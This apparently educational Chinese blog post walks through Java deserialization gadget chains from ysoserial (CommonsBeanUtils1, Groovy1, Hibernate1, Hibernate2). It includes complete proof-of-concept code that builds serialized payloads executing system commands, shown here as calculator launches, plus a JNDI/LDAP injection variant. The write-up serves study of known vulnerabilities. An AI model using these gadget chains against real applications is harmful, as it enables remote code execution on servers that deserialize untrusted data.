再谈Java反序列化:ysoserial补全计划(二)

文章发布时间:

最后更新时间:

文章总字数:
3.2k

预计阅读时间:
14 分钟

再谈Java反序列化:ysoserial补全计划(二)

参考文章:
https://su18.org/post/ysoserial-su18-3/

Commons BeanUtils1

commons-beanutils : 1.9.2

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。

之前有条这样的链子:PriorityQueue -> TransformingComparator -> ChainedTransformer -> InstantiateTransformer -> TemplatesImpl,中间步骤太多,于是有了这条直接从 Comparator 到 TemplatesImpl 的 getoutputProperties 方法的 CB 链。

前置知识

PropertyUtils

org.apache.commons.beanutils.PropertyUtils 类使用 Java 反射 API 来调用 Java 对象上的通用属性 getter 和 setter 操作的实用方法。这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean 来实现的。其中有个静态方法 getProperty,接受类对象和属性名,并获取这个属性的值,具体获取方法是利用反射调用这个属性的 get 方法,这让我们想到了 fastjson ,可以直接调用 getoutputProperties 触发:

image.png

找找谁会调用 PropertyUtils 的 getProperty 方法。

BeanComparator

BeanComparator 在初始化时可以指定 property 属性名称和 comparator 对比器,如果不指定,则默认是 ComparableComparator 。但是 ComparableComparator 是 CC 里面的,我们需要换一个,摆脱 CC 的依赖条件,换成java.lang.String$CaseInsensitiveComparator
image.png
compare 方法调用了 getProperty 方法,再结合 PriorityQueue 调用 compare 方法,攻击链构造完成。

攻击构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsBeanUtils {
public static void main(String[] args) throws Exception{
InputStream inputStream = CommonsBeanUtils.class.getResourceAsStream("evilTemplate.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);

PriorityQueue<Object> queue= new PriorityQueue<>(2);
queue.add(1);
queue.add(2);

TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

Class c = Class.forName("java.lang.String$CaseInsensitiveComparator");
Constructor constructor = c.getDeclaredConstructor();
constructor.setAccessible(true);
Comparator comparator = (Comparator<?>) constructor.newInstance();
BeanComparator beanComparator = new BeanComparator("outputProperties",comparator);

Field compare = queue.getClass().getDeclaredField("comparator");
compare.setAccessible(true);
compare.set(queue,beanComparator);

Field que = queue.getClass().getDeclaredField("queue");
que.setAccessible(true);
que.set(queue,new Object[]{templates,templates});

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cb.bin"));
oos.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cb.bin"));
ois.readObject();
}

}

Groovy1

Groovy : 1.7.0-2.4.3

Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言(Groovy 完全兼容 java),也可以用作脚本语言。这里引入 Groovy 包:

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.1</version>
</dependency>

前置知识

MethodClosure

org.codehaus.groovy.runtime.MethodClosure 是方法闭包,使用闭包代表了一个对象的一个方法,可以很方便的调用。
MethodClosure 初始化时接收两个参数,一个是对象,一个是对象的方法名称。通过 MethodClosure 的 doCall 方法可以调用该对象的该方法:

image.png

但是docall方法是protected修饰的,不能直接调用,调用它的父类Closure的call方法间接调用:

image.png

String.execute()

Groovy 为 String 类型添加了 execute() 方法,以便执行 shell 命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令 “ls”。
结合上面说的 call 方法,我们就有了以下执行命令的代码:

1
2
3
4
public static void main(String[] args) throws Exception{
MethodClosure methodClosure = new MethodClosure("gnome-calculator","execute");
methodClosure.call();
}

实际上 execute 方法就是调用 Runtime.getRuntime().exec() 方法执行系统命令。

ConvertedClosure

org.codehaus.groovy.runtime.ConvertedClosure 是一个通用适配器,用于将闭包适配到 Java 接口。ConvertedClosure 实现了 ConversionHandler 类,而 ConversionHandler 又实现了 InvocationHandler,所以 ConvertedClosure 是一个动态代理类。

image.png

ConvertedClosure 的构造方法接受一个 closure 对象和一个方法名,将 closure 对象传到父类的构造方法,代理该 closure 对象(也就是说调用 closure 对象的 method 时会调用 ConvertedClosure 父类的 invoke 方法(ConvertedClosure 本身并没有实现 invoke 方法)):

image.png

可以看到这里一系列处理之后会调用 invokeCustom 方法,而由于父类中该方法是抽象方法,所以会向下调用 ConvertedClosure 的 invokeCustom 方法,从而调用((Closure) getDelegate()).call(args); ,结合父类中的 getDelegate 方法以及构造方法可知,调用的正是我们构造方法传入的那个 closure 对象的 call 方法,就可以结合前面说的 MethodClosure 方法完成命令执行。

攻击构造

之前的已经可以自动命令执行了,但是还差一个 readObject 的入口类。由于前面讲到了 invoke 方法,是否有想起 CC1 里面的动态代理相关知识,AnnotationInvocationHandler 反序列化时调用 memberValues 中存放对象的 entrySet 方法,由于将该对象进行了动态代理,故会调用该对象的 invoke 方法。于是我们得到了入口类:用 AnnotationInvocationHandler 动态代理 ConvertedClosure 为 map,使其具有 entrySet 方法,从而触发其 invoke 方法。该部分的具体代码和 CC1 非常相似。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import org.codehaus.groovy.runtime.ConvertedClosure;  
import org.codehaus.groovy.runtime.MethodClosure;

import javax.annotation.Generated;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;

public class Groovy1 {
public static void main(String[] args) throws Exception{
MethodClosure methodClosure = new MethodClosure("gnome-calculator","execute");
// 由于 invokeCustom 进行了方法名的判断,这里需要传入 entrySet
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure,"entrySet");

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(),new Class[]{Map.class},convertedClosure);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Generated.class,handler);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Groovy1.bin"));
oos.writeObject(invocationHandler);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("Groovy1.bin"));
ois.readObject();
}

}

调用链展示:

1
2
3
4
5
6
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()

多么优雅的一条链子,需要对动态代理的理解比较深刻。

Hibernate1

Hibernate 是一个轻量级的 JDBC 封装,也就是说,我们可以使用 Hibernate 来完成原来我们使用 JDBC 完成的操作,也就是与数据库的交互操作。它是在 dao 层去使用的。
学习 Hibernate 框架的基础知识:
https://zhuanlan.zhihu.com/p/129092535
https://www.cnblogs.com/mq0036/p/8522150.html

Hibernate1 依旧是利用 TemplatesImpl 这个类,找寻 outputProperties 的 getter 方法的调用链。

首先是导入依赖,链子适用于 3-5 版本,3太老,5太新,这里用4来研究:

1
2
3
4
5
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>4.3.11.Final</version>
</dependency>

前置知识

BasicPropertyAccessor

在 hibernate 中定义了一个接口 org.hibernate.property.PropertyAccessor,定义了获取一个类的属性值的相关策略。

image.png

由于要获取 getter 方法,于是重点关注 getGetter 方法,BasicPropertyAccessor 提供这个接口的标准实现,首先定义了 BasicGetter 和 BasicSetter 两个实现类:

image.png

BasicGetter 类实例化时接收 3 个参数,分别是 Class 对象,Method 方法和属性名 propertyName。分析 BasicGetter 内如何实现 getGetter 方法:

image.png

从调用 getGetter 开始,这四个方法依次调用,最后调用了 getterMethod ,根据 class 和 propertyName 来获取了对应 property 的 getter 方法。其中 getGetterOrNull 方法返回了一个新的 BasicGetter 对象:return new BasicGetter(theClass, method, propertyName);,这个新的对象里面的 method 就是获取的 getter 方法,再调用此对象的 get 方法:

image.png

于是可以完成 getoutputProperties 的链调用(templates 是恶意的 templatesImpl 对象):

1
2
3
BasicPropertyAccessor bpa = new BasicPropertyAccessor();  
Getter getter = bpa.getGetter(TemplatesImpl.class,"outputProperties");
getter.get(templates);

这里只是为了演示清楚这么写,其实完全没有必要使用 getGetter 方法获得 getter,可以直接使用反射获取构造器,直接传入 class 和 method 和 propertyName 获得 getter。

AbstractComponentTuplizer

上文中已经讨论到通过调用构造好的 getter 的 get 方法就可以完成链子,那下一步就该找哪里调用 getter 的 get 方法。
抽象类 org.hibernate.tuple.component.AbstractComponentTuplizer 中定义了成员变量 getters,并可以通过 getPropertyValue() 方法进行调用其的 get 方法:

image.png

由上文可以看出 component 应该为 templates 对象,通过调用 getPropertyValue 方法,可以调用 getter 的 get 方法。但是这是个抽象类,我们不能使用,只能用他的子类,这里选择 PojoComponentTuplizer 类,其并没有重写 getPropertyValue 方法,直接调用父类的 getPropertyValue 方法,完成调用,下一步找谁调用了 componentTuplizer 的 getPropertyValue 方法,找到了 ComponentType 类:

image.png

我们可以利用反射控制这个 componentTuplizer 为 PojoComponentTuplizer:

image.png

而在这个 ComponentType 类中,getHashCode 方法调用了 getPropertyValue 方法:

image.png

根据我们的反序列化嗅觉,已经可以猜到这条链子的入口就是 HashMap 了,但是还差一步。毕竟 HashMap 反序列化调用的是 hashCode 方法而不是这里的 getHashCode 方法。

image.png

TypedValue

上面看到这个 TypedValue 类里面的 initTransients 方法里出现了调用 type 的 getHashCode 方法,具体看一下这个类,先看构造方法:

image.png

可以看到构造方法直接就执行 initTransients 方法了:

image.png

这个方法将 hashcode 属性赋值成了一个 ValueHolder 对象,并且在里面重写了一个 initialize 方法,这个重写的 initialize 方法才是我们真正想要调用的。巧的是,这个类的 hashCode 方法调用了 hashCode 属性的 getValue 方法,跟踪具体实现:

image.png

可以看到调用了 initialize 方法,链子构造完毕,只需要使用 hashMap 调用这个类的 hashCode 方法即可。

攻击构造

由于这个链子太长太复杂了,直接借的别的师傅的代码,学习学习动态字节码生成的基础操作,另外由于在 Hibernate 5.x 里,实现了 org.hibernate.property.access.spi.GetterMethodImpl 类,这个类能够替代 BasicPropertyAccessor$BasicGetter.get() 来调用 getter 方法。故代码中加入了 try catch 的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import pers.util.SerializeUtil;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class Hibernate1 {

public static void main(String[] args) throws Exception {

Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


//动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), method, "outputProperties");
}

// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);

// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = SerializeUtil.createWithoutConstructor(componentTypeClass);

// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
field1.setAccessible(true);
field1.set(type, tuplizer);

Field field2 = componentTypeClass.getDeclaredField("propertySpan");
field2.setAccessible(true);
field2.set(type, 1);

Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
field3.setAccessible(true);
field3.set(type, new Type[]{(Type) type});

// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);

// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");

// put 到 hashmap 之后再反射写入,防止 put 时触发
Field valueField = TypedValue.class.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(typedValue, templates);

ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap);
SerializeUtil.readObject(byteArrayOutputStream);
}
}

调用链展示:

1
2
3
4
5
6
7
8
9
HashMap.readObject()
TypedValue.hashCode()
ValueHolder.getValue()
ValueHolder.DeferredInitializer().initialize()
ComponentType.getHashCode()
PojoComponentTuplizer.getPropertyValue()
AbstractComponentTuplizer.getPropertyValue()
BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
TemplatesImpl.getOutputProperties()

Hibernate 2

前置知识

既然这个 Hibernate 的链子和 FastJson 的原理基本一样,通过 getter 方法来触发,那我们很自然想到除了 TemplatesImpl 外还有一个利用 JNDI 注入的链子。通过调用JdbcRowSetImpl .getDatabaseMetaData方法来实现

攻击构造

非常简单,把前面的 TemplatesImpl 部分换成 JdbcRowSetImpl 即可:

1
2
3
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");

链子先调到这里,去做做题,看到后面 Spring 链子一大堆动态代理我就感到害怕()